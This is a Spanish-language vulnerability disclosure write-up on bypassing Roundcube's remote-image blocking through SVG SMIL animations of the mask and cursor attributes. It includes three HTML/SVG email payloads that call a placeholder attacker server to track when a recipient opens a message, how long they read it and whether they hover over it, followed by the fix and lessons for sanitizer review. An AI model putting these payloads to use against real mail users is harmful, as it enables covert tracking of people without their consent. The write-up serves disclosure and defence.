Resumen
Roundcube (el webmail que usa, entre otros, Nextcloud Mail) incluye un saneador de HTML llamado rcube_washtml. Cuando el usuario tiene activado el bloqueo de imágenes remotas (allow_remote = false), ese saneador recorre los atributos que contienen URIs y los valida con wash_uri() para impedir que un correo cargue recursos externos sin consentimiento.
El problema está en cómo trata las animaciones SMIL de SVG (elementos como <animate> o <set>). El saneador solo validaba correctamente los atributos to y from: para esos resuelve el attributeName y enruta la comprobación de URI que corresponde. En cambio, los atributos values y by figuran en la lista de atributos permitidos ($html_attribs) y caían directamente en el paso genérico de copia tal cual, sin ninguna validación de URI.
A esto se sumaba un segundo hueco: el bloqueo a nivel de elemento solo cortaba las animaciones cuyo attributeName era href (el arreglo de CVE-2024-37383). Las animaciones dirigidas a otros atributos que también cargan recursos —como mask o cursor— pasaban sin filtrar.
Combinando ambos fallos, un atacante podía usar una animación SMIL para cargar una URL externa arbitraria y saltarse así el bloqueo de imágenes remotas.
Pasos de reproducción
Apertura del correo (rastreo "zero-click") mediante animación del atributo mask
- Enviar un correo en HTML cuyo cuerpo contenga este SVG (el
<animate>pone el atributomaska una URL externa):
<!DOCTYPE html>
<html>
<head><title>Important Document</title></head>
<body>
<h1>Important Information</h1>
<p>Dear valued customer,</p>
<p>Please review the attached information carefully.</p>
<svg width="1" height="1" style="position:absolute;left:-9999px">
<rect width="1" height="1" fill="white">
<animate attributeName="mask"
values="url(//ATTACKER_SERVER/track?uid=DESTINATARIO)"
fill="freeze" dur="0.001s" />
</rect>
</svg>
<p>Best regards,<br>Totally Legitimate Company</p>
</body>
</html>
- Abrir el correo en Roundcube (con Firefox) teniendo activado "Bloquear imágenes remotas".
- En los registros del servidor del atacante aparece la petición a
ATTACKER_SERVER/track?uid=DESTINATARIO: el recurso externo se ha cargado pese al bloqueo.
Variante: medir el tiempo de lectura
Usando values con varios valores y tiempos, se pueden disparar balizas escalonadas y estimar cuánto tiempo tiene el correo abierto:
<svg width="1" height="1" style="position:absolute;left:-9999px">
<rect width="1" height="1">
<animate attributeName="mask"
values="none;url(//ATTACKER_SERVER/ping?t=1);url(//ATTACKER_SERVER/ping?t=2)"
dur="5s" repeatCount="indefinite" />
</rect>
</svg>
Variante: detectar el paso del ratón
Animando la propiedad CSS cursor, la carga del recurso externo se dispara cuando el destinatario pasa el ratón por encima del elemento:
<svg width="400" height="100">
<rect width="400" height="100" fill="#f0f0f0" rx="8">
<animate attributeType="CSS" attributeName="cursor"
values="url(//ATTACKER_SERVER/track?uid=DESTINATARIO), auto"
fill="freeze" dur="0.001s" />
</rect>
<text x="200" y="55" text-anchor="middle"
font-family="Arial" font-size="14" fill="#333"
pointer-events="none">Hover over this area</text>
</svg>
Impacto
El destinatario cree que las imágenes remotas están bloqueadas, pero el correo carga igualmente recursos del servidor del atacante. Con eso se puede saber si se ha abierto el correo y cuándo, estimar cuánto tiempo ha estado abierto (variante de tiempos) y detectar si se pasa el ratón por una zona concreta (variante de cursor). Cada petición puede llevar un identificador único del destinatario, de modo que la apertura queda ligada a una persona concreta sin su consentimiento. El reporte se resolvió con severidad media.
Remediación
El fallo está en que values y by no pasaban por la misma validación de URI que to y from, y en que el bloqueo de animaciones solo cubría attributeName="href". La corrección pasa por tratar values y by como atributos que pueden contener URIs (resolviendo el attributeName de la animación y validándolos con la misma lógica que to/from) y por ampliar el bloqueo de animaciones para que cubra también los atributos que cargan recursos, no solo href. El reporte fue marcado como resuelto por el programa.
Qué aprender de este caso
- Al revisar un saneador de HTML, no basta con mirar los atributos "obvios" de URL (
src,href): en SVG, las animaciones SMIL (<animate>,<set>) pueden escribir una URL en atributos de destino comovaluesyby, que a menudo quedan fuera de la validación por estar en la lista blanca genérica. - Un parche que cierra un solo atributo o un solo
attributeName(aquí,href) suele dejar hermanos sin cubrir: tras CVE-2024-37383, convenía revisar todo el conjunto de atributos que cargan recursos (mask,cursor,fill,clip-path,filter…), no solo el que motivó el arreglo. - Para probar fugas de recursos remotos en un cliente de correo, no te limites a
<img src>: monta un servidor que registre peticiones y prueba variantes con SVG, SMIL y propiedades CSS comocursoromask, tanto con disparo inmediato como diferido por tiempo o por interacción del ratón. - La defensa robusta es validar el destino efectivo de la animación resolviendo su
attributeNamey aplicando la misma comprobación de URI que al atributo real, en vez de mantener listas de casos concretos que hay que ir ampliando fallo a fallo.